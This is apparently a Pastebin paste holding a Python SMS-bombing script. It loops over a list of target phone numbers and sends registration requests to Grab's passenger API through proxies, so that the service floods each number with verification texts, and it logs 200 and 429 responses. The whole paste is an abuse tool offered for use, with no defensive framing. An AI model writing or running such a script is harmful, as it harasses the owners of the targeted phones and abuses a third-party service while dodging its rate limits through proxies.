Advertisement
Guest User

Untitled

a guest
Oct 17th, 2019
429
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.26 KB | None | 0 0
  1. import requests, random, time
  2.  
  3.  
  4. class color:
  5.     HEADER = '\x1b[95m'
  6.     OKBLUE = '\x1b[94m'
  7.     OKGREEN = '\x1b[92m'
  8.     WARNING = '\x1b[93m'
  9.     FAIL = '\x1b[91m'
  10.     ENDC = '\x1b[0m'
  11.     BOLD = '\x1b[1m'
  12.     UNDERLINE = '\x1b[4m'
  13.     REVERSE = '\x1b[7m'
  14.    
  15. def wrapsbrace(string, endspace=False):
  16.             if endspace == True:
  17.                 return '[' + string + '] '
  18.             return '[' + string + ']'
  19.            
  20. def showstatus(message, type='new', escape_x=None):
  21.             icon = '*'
  22.             if type == 'warn':
  23.                 icon = '!'
  24.                 escape = color.FAIL + color.REVERSE
  25.             else:
  26.                 if type == 'new':
  27.                     icon == '*'
  28.                     escape = color.OKGREEN
  29.             if escape_x != None:
  30.                 escape = escape_x
  31.             message = escape + color.BOLD + '[' + icon + ']' + color.ENDC + escape + message + color.ENDC
  32.             return message
  33.  
  34.  
  35. phones = [
  36. 37529*******,
  37. ]
  38.  
  39. proxies = [
  40. "88.198.50.103:8080",
  41. ]
  42.  
  43.  
  44. for i in range(5):
  45.     for phone in phones:
  46.         proxy = proxies[random.randint(0,len(proxies)-1)]
  47.         print(showstatus(wrapsbrace('info', True) + ('Send GAC SMS to ' + str(phone) +" : " + proxy)))
  48.         try:
  49.             r = requests.post('https://p.grabtaxi.com/api/passenger/v2/profiles/register', data={'phoneNumber': str(phone), 'countryCode': 'ID', 'name': 'test', 'email': 'mail@mail.com', 'deviceToken': '*'}, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36'},  proxies={'http': str(proxy)})
  50.         except requests.exceptions.ConnectionError:
  51.                     print( showstatus( + wrapsbrace('except', True) + ('ConnectionError thrown!'), 'warn'))
  52.         else:
  53.                     if r.status_code == 429:
  54.                         print( showstatus( wrapsbrace(('429 {}').format(r.reason), True), 'warn', color.WARNING + color.REVERSE))
  55.                     elif r.status_code == 200:
  56.                         print( showstatus( wrapsbrace('200 OK', True) + ('GAC SMS sent!')))
  57.                     else:
  58.                         print( showstatus( wrapsbrace(('{} {}').format(r.status_code,r.reason), True) + 'Something went wrong. Exiting thread . . .', 'warn'))
  59.     time.sleep(5)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement